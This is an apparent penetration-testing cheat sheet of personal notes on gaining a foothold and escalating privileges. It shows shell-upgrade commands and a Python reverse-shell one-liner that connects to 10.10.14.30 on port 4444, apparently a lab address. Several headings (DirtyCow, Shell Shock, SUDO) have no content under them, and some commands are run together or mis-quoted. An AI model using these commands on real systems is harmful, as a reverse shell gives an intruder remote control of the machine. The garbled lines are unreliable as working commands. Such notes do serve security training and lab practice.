Foothold-PrivEsc

# Upgrade shell

python -c 'import pty; pty.spawn("/bin/sh")'

To get a fully interactive shell, background the session (CTRL+ Z) and run the following in your terminal which tells your terminal to pass keyboard shortcuts to the shell. Once that is done, run the command “fg” to bring netcat back to the foreground.

stty raw -echo

Adds the ability to clear the screen on our upgraded shell

export TERM=xterm

Situational Awareness/Enum

whoamiiduname -a

Python One-Liner

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.30",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);’

Windows

Shell Shock (CGI)

DirtyCow

Port Forward

SUDO

Linux